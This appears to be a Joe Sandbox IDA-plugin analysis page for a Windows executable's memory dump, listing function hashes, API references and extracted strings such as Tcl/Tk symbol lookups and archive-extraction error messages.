Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b387bb0edac5d3a7572aaf71fcdce3ba0ac9d1c4353072e234eccf42a557
Instruction ID: 1fb8f5a46c5dd9c0961033635fdb20487dea7f30d15ca72c77329c6b38b396b2
Opcode Fuzzy Hash: dde3b387bb0edac5d3a7572aaf71fcdce3ba0ac9d1c4353072e234eccf42a557
Instruction Fuzzy Hash: 41810472A0C79246E774CF19A84037A7A91FB85798F58423DDB8D93B99DF7DD8048B00

Function 00007FF652EF7550 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9914cb7746023329a97bf4181aa287deee78f55ee5d35b62d6e15dbc326fdfe6
Instruction ID: ab779076c67f2f7d7e9fa6be7d7aafe336b4ea5bc258dd7d7005352f636ef8c6
Opcode Fuzzy Hash: 9914cb7746023329a97bf4181aa287deee78f55ee5d35b62d6e15dbc326fdfe6
Instruction Fuzzy Hash: B661F622E2C2A346FB648B2CAC5467B6681AF40768F5D063DE65DD77D5EEFDE8008700

Function 00007FF652EE2A94 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 431273df7c005eff8b086499786a7f8af66af839407972891033f6f8b32510fa
Instruction ID: ac8a276d0c3fe5834fac698bacdb9c95250dac103c616440fc8b4ffd6f2dfdac
Opcode Fuzzy Hash: 431273df7c005eff8b086499786a7f8af66af839407972891033f6f8b32510fa
Instruction Fuzzy Hash: BA516736A18A6385E7248F29D85427937A0EB54F6CF2C4139CE4DA7794CFBAE843D740

Function 00007FF652EE2274 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3986d2e28db3ad4c814196551e744b7f12e089580c78501851383343d29f5119
Instruction ID: dd9a50ef98d64428923700380f2ce9ee3f1ab7e323e43337f80ea19c56562bf3
Opcode Fuzzy Hash: 3986d2e28db3ad4c814196551e744b7f12e089580c78501851383343d29f5119
Instruction Fuzzy Hash: FD516576A1866386E7248F29D44423837A1FB59F5CF285139CE4DA7794CFBAE843CB40

Function 00007FF652EE2684 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7def00a57181835e1b5755574f212d41c435eb46ac8bcc91c00ca4f50edce3
Instruction ID: a3ef9278f648972a296942d77fb99f66b3cc4f4c9b31768ebde8f44ee2aac3c2
Opcode Fuzzy Hash: 0a7def00a57181835e1b5755574f212d41c435eb46ac8bcc91c00ca4f50edce3
Instruction Fuzzy Hash: 0D516476A1866386E7248F29C84163837A0EB55B6CF2C4139CE4DA7795CFBAEC43C740

Function 00007FF652EE2480 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b37b721d2520797c932084b48cf8e5c5b4bbfd8b4955e3aae9fbd8879836657
Instruction ID: 81c7d8385842fcf88749fe6c1b261b9e8ac78ec3b8103d5d15cd1db69bda840b
Opcode Fuzzy Hash: 5b37b721d2520797c932084b48cf8e5c5b4bbfd8b4955e3aae9fbd8879836657
Instruction Fuzzy Hash: B6518176A1866386E7248F29D85063827A1EB85B5CF285139CE4DA77A4CF7AEC42C740

Function 00007FF652EE2890 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56eab1984f79c1160248cb97b5e30aec2666dd062f10dae5dc3084fdbc1595d5
Instruction ID: def283647b4244bc3c9a443eb7b2b8fb6dd8ae1097ac82f839e404c7963e9fdb
Opcode Fuzzy Hash: 56eab1984f79c1160248cb97b5e30aec2666dd062f10dae5dc3084fdbc1595d5
Instruction Fuzzy Hash: 0D517336A1866685EB358F29C84063837A1EB55F5CF2C5139CA8DA7798CF7AE842C740

Function 00007FF652EE2070 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a792dd5f357ba9ab053cb868b8428acf2d0115ad083e523ed5123ef832f09c
Instruction ID: 7fd06123434d9d1e48cb113f15bdf35dd33a4bf04496747920bdda32c9939fbc
Opcode Fuzzy Hash: e4a792dd5f357ba9ab053cb868b8428acf2d0115ad083e523ed5123ef832f09c
Instruction Fuzzy Hash: DA519636A1866686E7248F29D84033837A1EB49B5CF2C4135CE4DA7799CFBAED53C740

Function 00007FF652EE6750 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 969183150f2b72366f533932a91e23538425c24740dcb2da66d9abe59a31123d
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 8741E562C0D7BB05E9958D584D046B46680EF23BA8E1C52BCCCBAF73C7CD9DA58AC205

Function 00007FF652EEAC50 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: f111dc0bb75c4fd458f0a84966b8cb0fe478d08570652a426d7f95957c6d4c4f
Instruction ID: 9411d7b055d53e4d7f79ffe44894feaba08b39d26498794a47416ad54b19eeda
Opcode Fuzzy Hash: f111dc0bb75c4fd458f0a84966b8cb0fe478d08570652a426d7f95957c6d4c4f
Instruction Fuzzy Hash: E341E572B14A6582EF04CF6AED155A973A1BB48FD8B0D913ADE0DE7B58DE7CD1428300

Function 00007FF652EE84BC Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0b9409b015bea46d2036294c0136b3200ade656a83a3c77deb383565566a918
Instruction ID: 155a00ca01d18303f6f6624566e5db93cd3ea4f40d275aed2ed31abce6e52c94
Opcode Fuzzy Hash: e0b9409b015bea46d2036294c0136b3200ade656a83a3c77deb383565566a918
Instruction Fuzzy Hash: 8331A332B08B5342E764DF256C4017E6696AF84BE4F18423DEA9DA7BE5DFBCD0028604

Function 00007FF652EFA620 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f3f1020485e8a41a296fc930dbc96221e618d45f39aaa63d951921bdf06b5a
Instruction ID: 1badb4e325469cf1dc2b9747bd713443254134327a5916339b4caef9366d6660
Opcode Fuzzy Hash: c3f3f1020485e8a41a296fc930dbc96221e618d45f39aaa63d951921bdf06b5a
Instruction Fuzzy Hash: C6F068B1B182658ADB988F69F80362977D0F708384F848539D58DC7B04DA7DD0609F04

Function 00007FF652EDCA9C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b04046989d87c8dc885ed01c2b3f2aaa9c0b13633c97905e42662c4d2108a614
Instruction ID: df5a0feac41a9a349029aba4658e2bc5f5e98079faa9b08864d0a63a8c49175e
Opcode Fuzzy Hash: b04046989d87c8dc885ed01c2b3f2aaa9c0b13633c97905e42662c4d2108a614
Instruction Fuzzy Hash: 08A00162918862D0EA44CB00AC510212231ABA538CB59203AD11EB14A09EBCA454D210

Function 00007FF652ED7100 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF652ED7117
GetProcAddress.KERNEL32 ref: 00007FF652ED7156
GetProcAddress.KERNEL32 ref: 00007FF652ED717B
GetProcAddress.KERNEL32 ref: 00007FF652ED71A0
GetProcAddress.KERNEL32 ref: 00007FF652ED71C8
GetProcAddress.KERNEL32 ref: 00007FF652ED71F0
GetProcAddress.KERNEL32 ref: 00007FF652ED7218
GetProcAddress.KERNEL32 ref: 00007FF652ED7240
GetProcAddress.KERNEL32 ref: 00007FF652ED7268

Strings

Failed to get address for Tcl_ConditionWait, xrefs: 00007FF652ED7342
Tcl_EvalObjv, xrefs: 00007FF652ED752E
Tcl_CreateObjCommand, xrefs: 00007FF652ED73EE
Tcl_SetVar2, xrefs: 00007FF652ED73C6
Failed to get address for Tcl_SetVar2, xrefs: 00007FF652ED73E2
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF652ED72CA
Tcl_FinalizeThread, xrefs: 00007FF652ED71E6
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF652ED745A
Tcl_MutexUnlock, xrefs: 00007FF652ED72AE
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF652ED740A
Tcl_ConditionFinalize, xrefs: 00007FF652ED72D6
Failed to get address for Tcl_MutexLock, xrefs: 00007FF652ED72A2
Tk_GetNumMainWindows, xrefs: 00007FF652ED75CE
Failed to get address for Tcl_Init, xrefs: 00007FF652ED7129
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF652ED7168
Tcl_ConditionWait, xrefs: 00007FF652ED7326
Tcl_FindExecutable, xrefs: 00007FF652ED7171
Failed to get address for Tcl_EvalEx, xrefs: 00007FF652ED7522
Tcl_CreateThread, xrefs: 00007FF652ED7236
Failed to get address for Tcl_Finalize, xrefs: 00007FF652ED71DA
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF652ED736A
Tcl_Init, xrefs: 00007FF652ED7110
Tcl_ConditionNotify, xrefs: 00007FF652ED72FE
Failed to get address for Tcl_GetVar2, xrefs: 00007FF652ED73BA
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF652ED74D2
Tcl_NewStringObj, xrefs: 00007FF652ED743E
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF652ED727A
Failed to get address for Tk_Init, xrefs: 00007FF652ED75C2
Tcl_ThreadAlert, xrefs: 00007FF652ED7376
Tcl_DeleteInterp, xrefs: 00007FF652ED720E
Tcl_Alloc, xrefs: 00007FF652ED7556
Tcl_GetCurrentThread, xrefs: 00007FF652ED725E
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF652ED731A
Tcl_MutexLock, xrefs: 00007FF652ED7286
Tcl_CreateInterp, xrefs: 00007FF652ED714C
Tcl_Free, xrefs: 00007FF652ED757E
Tcl_ThreadQueueEvent, xrefs: 00007FF652ED734E
Tcl_GetVar2, xrefs: 00007FF652ED739E
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF652ED74AA
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF652ED718D
Failed to get address for Tcl_EvalFile, xrefs: 00007FF652ED74FA
Tk_Init, xrefs: 00007FF652ED75A6
Tcl_GetString, xrefs: 00007FF652ED7416
Tcl_EvalFile, xrefs: 00007FF652ED74DE
Tcl_GetObjResult, xrefs: 00007FF652ED74B6
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF652ED71B2
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF652ED7482
GetProcAddress, xrefs: 00007FF652ED7130
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF652ED75EA
Tcl_Finalize, xrefs: 00007FF652ED71BE
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF652ED7392
Tcl_EvalEx, xrefs: 00007FF652ED7506
Tcl_NewByteArrayObj, xrefs: 00007FF652ED7466
Tcl_SetVar2Ex, xrefs: 00007FF652ED748E
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF652ED72F2
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF652ED722A
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF652ED7202
Failed to get address for Tcl_Alloc, xrefs: 00007FF652ED7572
Tcl_DoOneEvent, xrefs: 00007FF652ED7196
Failed to get address for Tcl_CreateThread, xrefs: 00007FF652ED7252
Failed to get address for Tcl_Free, xrefs: 00007FF652ED759A
Failed to get address for Tcl_GetString, xrefs: 00007FF652ED7432
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF652ED754A

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: e7edea845a9f5d5bc22b5b56991a1be592abbf01ed24a972618679d5ebca8c04
Instruction ID: c579ba99fa0a5b56ce965958822bc80d806c52348fa23ec8eef5a03628f233d6
Opcode Fuzzy Hash: e7edea845a9f5d5bc22b5b56991a1be592abbf01ed24a972618679d5ebca8c04
Instruction Fuzzy Hash: 3FE1E461A1DB2391FB59CB04BC8017523A2AF4479CF9C663DD80EA63A4EFFCF5588250

Function 00007FF652ED12A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED2B10: MessageBoxW.USER32 ref: 00007FF652ED2BE5

_fread_nolock.LIBCMT ref: 00007FF652ED1489

Strings

%s%c%s, xrefs: 00007FF652ED13DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF652ED12EE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF652ED1360
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF652ED14AF
malloc, xrefs: 00007FF652ED1367
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF652ED131B
fread, xrefs: 00007FF652ED14B6
fseek, xrefs: 00007FF652ED1322
\, xrefs: 00007FF652ED13E5

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: 8e0a080ed0e30a437069437fae51ddaf79e1ee31648d61ffe3286270281b1de1
Instruction ID: dd3d29c2eeef47ad8201db157ae821b146e0d963f2199fea14814243bb89aa13
Opcode Fuzzy Hash: 8e0a080ed0e30a437069437fae51ddaf79e1ee31648d61ffe3286270281b1de1
Instruction Fuzzy Hash: 19517262A096A346EB209711EC513FA6354AF847C8F58503DEE4DEB696EEBCF5458300

Function 00007FF652ED23D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF652ED23FB
SelectObject.GDI32 ref: 00007FF652ED2442
DrawTextW.USER32 ref: 00007FF652ED2465
SelectObject.GDI32 ref: 00007FF652ED247B
ReleaseDC.USER32 ref: 00007FF652ED248B
MoveWindow.USER32 ref: 00007FF652ED24DB
MoveWindow.USER32 ref: 00007FF652ED251B
MoveWindow.USER32 ref: 00007FF652ED256E
MoveWindow.USER32 ref: 00007FF652ED25B6

Strings

P%, xrefs: 00007FF652ED244F

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 5b6577cad5280a8981d528861e2ae7c646745b175b361903b18278a3a03fe9da
Instruction ID: 91cbd18f2c9ad51c3453b48e4f2be49816e486fa4a7893bd7a8195edd608d841
Opcode Fuzzy Hash: 5b6577cad5280a8981d528861e2ae7c646745b175b361903b18278a3a03fe9da
Instruction Fuzzy Hash: 7B510426614BB186D6349F22B4181BBB7A1FB98B69F044129EFCE93684DF7CD045DB10

Function 00007FF652EE6CE0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

